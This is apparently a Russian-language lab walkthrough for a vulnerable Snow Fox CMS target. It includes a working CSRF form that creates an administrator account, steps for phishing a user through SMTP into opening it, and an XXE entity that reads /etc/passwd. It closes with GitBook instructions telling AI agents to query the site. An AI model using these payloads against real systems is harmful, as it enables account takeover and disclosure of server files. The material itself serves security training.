> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/cms/snowfox-cms-exploitation.md).

# SnowFox

## Уязвимость CSRF

SearchExploit выявляет уязвимость CSRF в Snow Fox CMS.

<figure><img src="/files/b7a0721b1f0034df0b909cf01407215e0b292fd6" alt=""><figcaption></figcaption></figure>

**Уязвимый HTML-файл:**

```html
<html>
  <body>
    <form action="http://casino-royale.local/vip-client-portfolios/?uri=admin/accounts/create" method="POST">
      <input type="hidden" name="emailAddress" value="jordan@jordan.com" />
      <input type="hidden" name="verifiedEmail" value="verified" />
      <input type="hidden" name="username" value="jordan-admin" />
      <input type="hidden" name="newPassword" value="jordan-password" />
      <input type="hidden" name="confirmPassword" value="jordan-password" />
      <input type="hidden" name="userGroups[]" value="34" />
      <input type="hidden" name="userGroups[]" value="33" />
      <input type="hidden" name="memo" value="CSRFmemo" />
      <input type="hidden" name="status" value="1" />
      <input type="hidden" name="formAction" value="submit" />
      <input type="submit" value="Отправить форму" />
    </form>
  </body>
</html>
```

[CSRF](/ru/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-cross-site-request-forgery-csrf.md) попытка создать учетную запись администратора в Snow Fox CMS

* Подключитесь через telnet к SMTP-порту 25.

<figure><img src="/files/c700803f144ff51973e2aa7378ba88a1a8ee00a6" alt=""><figcaption></figcaption></figure>

* Отправьте письмо на `valenka@casino-royale.local` содержащее ссылку на HTTP-сервер атакующего на Python, на котором размещен уязвимый HTML-файл.

<figure><img src="/files/79d4cccc7ec03cdeceda561dc9433c10ab6c4bb3" alt=""><figcaption></figcaption></figure>

**Войдите, используя учетную запись администратора CMS:**

* Войдите с новыми учетными данными, в результате чего будет создана учетная запись администратора в Snow Fox CMS.

<figure><img src="/files/8e90f3308543e653b958f95819c4fadd4705b0e3" alt=""><figcaption></figcaption></figure>

#### После эксплуатации уязвимости CSRF в Snow Fox CMS создается учетная запись администратора.

<figure><img src="/files/1be714b874298f9a91b5f8a7507d12caec4516d7" alt=""><figcaption></figcaption></figure>

#### Выявление подсказки в описании пользователя

Описание пользователя CMS содержит дополнительную подсказку, указывающую на каталог, который нужно открыть.

<figure><img src="/files/12f1ab3cab4e7961b24a76f6339ede90c12293d5" alt=""><figcaption></figcaption></figure>

## Уязвимость XXE

<div data-full-width="true"><figure><img src="/files/0ec747bffe208f4db18ea25964f7d4becae17738" alt=""><figcaption></figcaption></figure></div>

#### Анализ исходного кода XML-структуры, перехваченной с помощью Burp Suite

<figure><img src="/files/6ab177d64e369f3b5a32512bbd0f9e48e0ccb550" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/76f8fe534b0610fe4c44341583d67493973a641c" alt=""><figcaption></figcaption></figure>

#### Попытка атаки XXE (внедрение внешней сущности XML)

* Измените метод запроса с GET на POST.

<figure><img src="/files/993b646fd7c19422b61448743be4689ae906e2c1" alt=""><figcaption></figcaption></figure>

* Попробуйте внедрить шаблон XXE в POST-запрос.

<pre class="language-xml"><code class="lang-xml">&#x3C;creds>
<strong>	&#x3C;customer>
</strong>		Jordan
	&#x3C;/customer>
	&#x3C;password>
		jordan123
	&#x3C;/password>
&#x3C;/creds>
</code></pre>

* Посмотрите, как сервер интерпретирует шаблон XXE.

<figure><img src="/files/b08958408f37811318f7eb3dd0ad795bc152b825" alt=""><figcaption></figcaption></figure>

* Чтобы получить доступ к системным файлам, создайте новый **сущность**, например `myFile`: `<!DOCTYPE foo [<!ENTITY myFile SYSTEM "file:///etc/passwd">]>`

Затем передайте результат в переменную с `&myFile` вот так:

<figure><img src="/files/9832fe8684cad4116e08b5a6fea575160ef95cc9" alt=""><figcaption></figcaption></figure>

#### Определение `ftpUserULTRA` Пользователь

<figure><img src="/files/c114ef68d8747a31f63bfd87e649e096847e8703" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/cms/snowfox-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
